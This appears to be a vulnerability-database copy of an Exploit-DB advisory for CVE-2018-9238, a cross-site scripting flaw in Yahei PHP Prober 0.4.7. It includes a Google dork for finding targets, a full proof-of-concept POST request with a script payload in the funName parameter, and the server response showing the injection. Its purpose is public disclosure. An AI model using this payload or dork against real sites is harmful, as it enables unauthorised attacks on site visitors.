Lucene search
K

Yahei PHP Prober 0.4.7 - Cross-Site Scripting

🗓️ 09 Apr 2018 00:00:00Reported by ManhNhoType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Yahei-PHP Prober 0.4.7 has Cross-Site Scripting vulnerability via funName paramete

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Yahei PHP Prober 0.4.7 - Cross-Site Scripting Vulnerability
9 Apr 201800:00
zdt
CNVD
Yahei-PHP Prober Cross-Site Scripting Vulnerability
4 Apr 201800:00
cnvd
CVE
CVE-2018-9238
4 Apr 201807:00
cve
Cvelist
CVE-2018-9238
4 Apr 201807:00
cvelist
EUVD
EUVD-2018-20832
7 Oct 202500:30
euvd
exploitpack
Yahei PHP Prober 0.4.7 - Cross-Site Scripting
9 Apr 201800:00
exploitpack
NVD
CVE-2018-9238
4 Apr 201807:29
nvd
OSV
CVE-2018-9238
4 Apr 201807:29
osv
Packet Storm
Yahei PHP Prober 0.4.7 Cross Site Scripting
9 Apr 201800:00
packetstorm
Prion
Design/Logic Flaw
4 Apr 201807:29
prion
Rows per page
# Exploit title: Yahei-PHP Proberv0.4.7 - Cross-Site Scripting
# Google Dork: intitle:"Proberv0." | inurl:/proberv.php
# Date: 23/03/2018
# Exploit Author: ManhNho
# Vendor Homepage: http://www.yahei.net/
# Software Link: www.yahei.net/tz/tz_e.zip
# Version: 0.4.7
# CVE: CVE-2018-9238
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
proberv.php in Yahei-PHP Proberv 0.4.7 has XSS via the funName parameter.


#2. Proof of Concept
-----------------------------------------------------
Request:

POST /proberv.php HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: <target>/proberv.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 186
Connection: close
Upgrade-Insecure-Requests: 1

pInt=No+Test&pFloat=No+Test&pIo=No+Test&host=localhost&port=3306&login=&password=&funName=%27%29%3C%2Fscript%3E%3Cscript%3Ealert%28%221%22%29%3B%3C%2Fscript%3E&act=Function+Test&mailAdd=

-----------------------------------------------------
Response:

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Mar 2018 16:59:57 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
Content-Length: 30461
...
<tr>
<td width="15%"></td>
<td width="60%">
Enter the function you want to test:
<input type="text" name="funName" size="50" />
</td>
<td width="25%">
<input class="btn" type="submit" name="act" align="right" value="Function
Test" />
</td>
</tr>
<script>alert('Function')</script><script>alert("1");</script>Test results
support the position: 错误')</script></table>


#3. References
-----------------------------------------------------
https://pastebin.com/ia7U4vi9
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9238

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2018 00:00Current
6.3Medium risk
Vulners AI Score6.3
CVSS 24.3
CVSS 36.1
EPSS0.00296
36